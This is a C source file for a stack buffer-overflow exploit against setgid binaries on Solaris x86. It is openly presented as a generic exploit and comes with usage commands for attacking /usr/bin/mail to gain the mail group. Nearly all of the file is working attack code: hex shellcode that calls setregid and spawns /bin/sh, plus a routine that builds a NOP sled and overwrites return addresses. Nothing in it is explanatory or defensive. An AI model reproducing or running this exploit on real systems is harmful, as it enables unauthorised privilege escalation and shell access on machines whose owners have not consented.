/*
* Generic Solaris x86 exploit program by Brock Tellier
* For use against any x86 sgid binary
* Shellcode by Cheez Whiz (fixes problem with
* shells dropping egid if it doesn't match your real gid)
* Will set gid=6(mail)
*
* gcc -o mailex solx86gid.c
*  /usr/bin/mail -m `./mailex 0 1975 2285` foo
*  . <period, enter>
* $ 
*  
* Usage: ./mailex <offset> <NOPS> <BUFSIZE>
* 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUF 10000
#define NOP 0x90


char shell[] =
  /*  0 */ "\xeb\x45"                         /* jmp springboard [2000]*/
  /* syscall:                                                    [2000]*/
  /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0   [2000]*/
  /*  9 */ "\xc3"                             /* ret             [2000]*/
  /* start:                                                      [2000]*/
  /* 10 */ "\x5e"                             /* popl %esi       [2000]*/
  /* 11 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  /* 13 */ "\x89\x46\xb7"                     /* movl %eax,-0x49(%esi) */
  /* 16 */ "\x88\x46\xbc"                     /* movb %al,-0x44(%esi)  */
  /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
  /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  /* setregid:                                                   [2000]*/
  /* 25 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  /* 27 */ "\xb0\x2f"                         /* movb $0x2f,%al  [2000]*/
  /* 29 */ "\xe8\xe0\xff\xff\xff"             /* call syscall    [2000]*/
  /* 34 */ "\x52"                             /* pushl %edx      [2000]*/
  /* 35 */ "\x52"                             /* pushl %edx      [2000]*/
  /* 36 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  /* 38 */ "\xb0\xcb"                         /* movb $0xcb,%al  [2000]*/
  /* 40 */ "\xe8\xd5\xff\xff\xff"             /* call syscall    [2000]*/
  /* 45 */ "\x83\xc4\x08"                     /* addl $0x4,%esp  [2000]*/
  /* execve:                                                     [2000]*/
  /* 48 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  /* 50 */ "\x50"                             /* pushl %eax      [2000]*/
  /* 51 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
  /* 54 */ "\x53"                             /* pushl %ebx      [2000]*/
  /* 55 */ "\x8d\x1e"                         /* leal (%esi),%ebx[2000]*/
  /* 57 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
  /* 60 */ "\x53"                             /* pushl %ebx      [2000]*/
  /* 61 */ "\xb0\x3b"                         /* movb $0x3b,%al  [2000]*/
  /* 63 */ "\xe8\xbe\xff\xff\xff"             /* call syscall    [2000]*/
  /* 68 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp  [2000]*/
  /* springboard:                                                [2000]*/
  /* 71 */ "\xe8\xbe\xff\xff\xff"             /* call start      [2000]*/
  /* data:                                                       [2000]*/
  /* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA            [2000]*/
  /* 84 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  /* 88 */ "\xff\xff\xff\xff";                /* DATA            [2000]*/

unsigned long int nop;
unsigned long int esp;
long int offset;

char buf[BUF];

unsigned long int get_esp()
{
  __asm__("movl %esp,%eax");
}

void
main (int argc, char *argv[])
{
  int buflen, i;

  if (argc > 1)
    offset = strtol(argv[1], NULL, 0);

  if (argc > 2)
    nop = strtoul(argv[2], NULL, 0);
  else
    nop = 285;

  if (argc > 3)
    buflen=atoi(argv[3]);
  else
    buflen=BUF;

  esp = get_esp();


  memset(buf, NOP, buflen);
  memcpy(buf+nop, shell, strlen(shell));
  for (i = nop+strlen(shell); i < buflen-4; i += 4)
    *((int *) &buf[i]) = esp+offset;

  for (i = 0; i < strlen(buf); i++) putchar(buf[i]);

  return;
}